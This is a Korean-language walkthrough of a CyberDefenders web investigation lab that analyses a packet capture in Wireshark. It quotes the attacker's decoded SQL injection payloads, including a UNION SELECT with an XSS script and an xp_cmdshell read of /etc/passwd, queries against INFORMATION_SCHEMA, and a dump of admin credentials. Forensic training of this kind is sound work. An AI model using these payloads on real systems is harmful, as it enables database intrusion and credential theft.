Cyberdefenders - Web Investigation Lab
문제를 다운로드 받고 Wireshark로 열어준다
wireshark를 열어서 찾다보면 111.224.250.131 이 uri 파라미터로 sql 쿼리문을 넣는것으로 보아 공격하려는 의도가 보인다.
답 : 111.224.250.131
https://www.geolocation.com/ko/index
Google에 IP로 지리적위치 찾기하면 나오는사이트다
여기에 공격자의 IP를 입력해 찾으면 나온다
답 : Shijiazhuang
취약한 php사이트를 확인하기 위해
http.request.uri contains ".php" // http request uri에서 .php를 포함한것을 필터링해라
해서 찾아보면 search.php에 파라미터값에 sql 쿼리문을 삽입하는것을 볼수있다. 취약한 php 사이트이기에 가능한것이다.
답 : search.php
내려보면 sql injection 대입한 패킷이보인다.
답 : /search.php?search=book%20and%201=1;%20--%20-
필터링걸어서 찾아보자
http.request.full_uri
uri 인코딩
/search.php?search=book&ZscL=7696%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23
uri 디코딩
/search.php?search=book&ZscL=7696 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#
스키마관련 파라미터값이 있길래 찾아봤더니 sql 인젝션 문구가 들어가있다. db를 읽는 문구를 찾아야하니 다른것을 찾아보자
http.request.full_uri and http.request.method == GET and http.request.uri contains "SELECT"
DB읽는 요청이니 GET 과 select 필터링을 더추가해주엇다
추가해놓고 보니 그냥 select만 추가 해도 될거같기도 하다..?
그래도 너무많아서
http.request.full_uri and http.request.method == GET and http.request.uri contains "SELECT" and http.request.uri contains "INFORMATION_SCHEMA"
인포케이션 스키마도 추가하였다 그러고나니
5가지정도 나타나는데 들어가서 전부다 uri 디코딩을 해주면 그중에서 db조회 답을 찾으면된다.
답 : /search.php?search=book' UNION ALL SELECT NULL,CONCAT(0x7178766271,JSON_ARRAYAGG(CONCAT_WS(0x7a76676a636b,schema_name)),0x7176706a71) FROM INFORMATION_SCHEMA.SCHEMATA-- -
http.request.uri contains "table_name"
필터링 걸어주고 uri를 살펴보면
/search.php?search=book%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7178766271%2CJSON_ARRAYAGG%28CONCAT_WS%280x7a76676a636b%2Ccolumn_name%2Ccolumn_type%29%29%2C0x7176706a71%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D0x637573746f6d657273%20AND%20table_schema%3D0x626f6f6b776f726c645f6462--%20-
위 uri 처럼 되있는걸 찾을수있다 이것을 디코딩해주면
book'
UNION ALL
SELECT NULL,
CONCAT(
0x7178766271,
JSON_ARRAYAGG(
CONCAT_WS(
0x7a76676a636b,
column_name,
column_type
)
),
0x7176706a71
)
FROM INFORMATION_SCHEMA.COLUMNS
WHERE
table_name = 0x637573746f6d657273 AND
table_schema = 0x626f6f6b776f726c645f6462
-- -
table name이 hex로 인코딩이 되어있는데
이것을 디코딩하면
customers 가나온다
답 : customers
보통 여러가지 숨겨진 디렉토리가 있는데 그중 한번 admin을 요청한흔적이있는지 찾아보앗다
http.request.uri contains "admin"
admin폴더에 접근해 여러가지 요청들을 보냈다
답 : /admin/
패스워드를 요청하는 필터링을 걸어주면
http.request.uri contains "password"
응답이 ok로 온것이있다. 열어서 분석해보면
어떤 요청에의해서 응답한건지 알수가있는데
저 uri를 복호화하면
SELECT NULL,
CONCAT(
0x7178766271,
JSON_ARRAYAGG(
CONCAT_WS(0x7a76676a636b, id, password, username)
),
0x7176706a71
)
FROM bookworld_db.`admin`
id,password,username을 빼내려는 sql문에대한 응답인것을 확인가능하다
그럼 응답을 확인해보면
<p>qxvbq["1zvgjckadmin123!zvgjckadmin"]qvpjq</p>
<form action="search.php" method="get">
항목설명
qxvbq | 결과 시작 토큰 |
qvpjq | 결과 종료 토큰 |
zvgjck | 구분자 (공격자가 선택한 컬럼 구분자) |
"1zvgjckadmin123!zvgjckadmin" | 추출된 한 줄의 레코드 |
{
"id": "1",
"password": "admin123!",
"username": "admin"
}
답 : admin:admin123!
HTTP follow stream을 해서 응답까지 확인해야한다. 정상업로드됬는지
답 : Nvri2vhp.php